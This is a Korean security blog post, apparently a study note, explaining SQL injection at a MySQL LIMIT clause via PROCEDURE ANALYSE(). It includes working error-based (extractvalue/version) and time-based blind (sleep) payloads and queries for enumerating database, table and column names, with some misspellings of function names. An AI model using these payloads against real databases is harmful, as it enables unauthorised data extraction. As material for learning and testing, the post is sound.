상세 컨텐츠

본문 제목

[MySQL] Limit SQL injection(using procedure analyse)

기술보안/Web

by about_SC 2019. 2. 8. 17:47

본문

[MySQL] MySQL Limit SQL Injection

출처 : (https://hyunmini.tistory.com/46)

(https://bob3rdnewbie.tistory.com/23)


SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT [injection point]

해당 쿼리에서 중요한 점은 ORDER BY가 사용되었다는 것이다.

MySQL 에서는 UNION 전에 ORDER BY 사용이 불가능하다.

ORDER BY가 사용되지 않았다면 그냥, UNION을 사용하여 쉽게 공격이 가능하다.


위의 경우, PROCEDURE ANALSYS() 함수를 통해 공격이 가능하다.

// UNION, SELECT 필터링 시 유용하게 사용될 수 있다.


MYSQL5 관련문서 내용

 

SELECT

    [ALL | DISTINCT | DISTINCTROW ]
      [HIGH_PRIORITY]
      [STRAIGHT_JOIN]
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
    select_expr [, select_expr ...]
    [FROM table_references
    [WHERE where_condition]
    [GROUP BY {col_name | expr | position}
      [ASC | DESC], ... [WITH ROLLUP]]
    [HAVING where_condition]
    [ORDER BY {col_name | expr | position}
      [ASC | DESC], ...]
    [LIMIT {[offset,] row_count | row_count OFFSET offset}]
    [PROCEDURE procedure_name(argument_list)]
    [INTO OUTFILE 'file_name' export_options
      | INTO DUMPFILE 'file_name'
      | INTO var_name [, var_name]]
    [FOR UPDATE | LOCK IN SHARE MODE]]



'LIMIT' 함수 이후에는 'PROCEDURE', 'INTO'를 사용할 수 있다.

만약 애플리케이션에서 시스템에 파일을 쓸 수 있는 권한을 가진 DB 계정을 사용하지 않는 이상 

'INTO'는  쓸모없게 된다.


LIMIT 함수를 공격하기 위해서 PROCEDURE를 사용해야 한다. 

MySQL에서 기본적으로 사용이 가능한 프로시져는 'ANALSYS' 이다.


PROCEDURE ANALSYS()

 

ANALYSE([max_elements[,max_memory]])


max_elements (default 256)

is the maximum number of distinct values that ANALYSE() notices per column. This is used by ANALYSE() to check whether the optimal data type should be of type ENUM; if there are more than max_elements distinct values, then ENUM is not a suggested type.


max_memory (default 8192)

is the maximum amount of memory that ANALYSE() should allocate per column while trying to find all distinct values.



Procedure analyse() 를 사용하여 쿼리 명령 시 DB명.테이블명.컬럼명 획득이 가능하다.



mysql> select id from test where no=1 procedure analyse();

+--------------+-----------+-----------+------------+------------+------------------+-----+

| Field_name    | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls | 

+--------------+-----------+-----------+------------+------------+------------------+-----+

| test.test.id  |   admin    |   admin    |            5 |             5 |                    0 |    0 |

+--------------+-----------+-----------+------------+------------+------------------+-----+



하지만, procedure analyse()라는 함수는 limit 절 뒤에 사용이 가능하다.

즉, limit 구문을 앞에 추가하여 필드를 차례로 뽑아내는 것이 가능하다는 이야기이다.



mysql> select id from test where no=limit 0,1 procedure analyse();   // 첫째 필드

mysql> select id from test where no=limit 1,1 procedure analyse();   // 둘째 필드

mysql> select id from test where no=limit 2,1 procedure analyse();   // 셋째 필드



여기서, 추가적으로 extravalue() 함수를 사용하여 procedure() 함수 내에서 원하는 값을 뽑아낼 수 있다.

// extravalue() : (https://dev.mysql.com/doc/refman/8.0/en/xml-functions.html) 참고


 

- error base

mysql > SELECT id FROM test WHERE id='admin' limit 0,1 procedure analyse(extractvalue(1, concat(0x3a, version())), 1);

ERROR 1105 (HY000): XPATH syntax error: ':5.1.41-community'


- blind

mysql > SELECT id FROM test WHERE id='admin' limit 0,1 procedure analyse(extractvalue(1, concat(0x3a, (if(mid(version(),1,1) like 5, sleep(5),1))), 1);





'기술보안 > Web' 카테고리의 다른 글

[root me] sql Injection - file reading  (0) 2019.02.26
[root me] sql Injection - routed  (0) 2019.02.15
test1  (0) 2019.02.06
SQL Injection(order by)  (0) 2019.01.25
[JAVA] JNI (Java Native Interface)  (0) 2019.01.16

관련글 더보기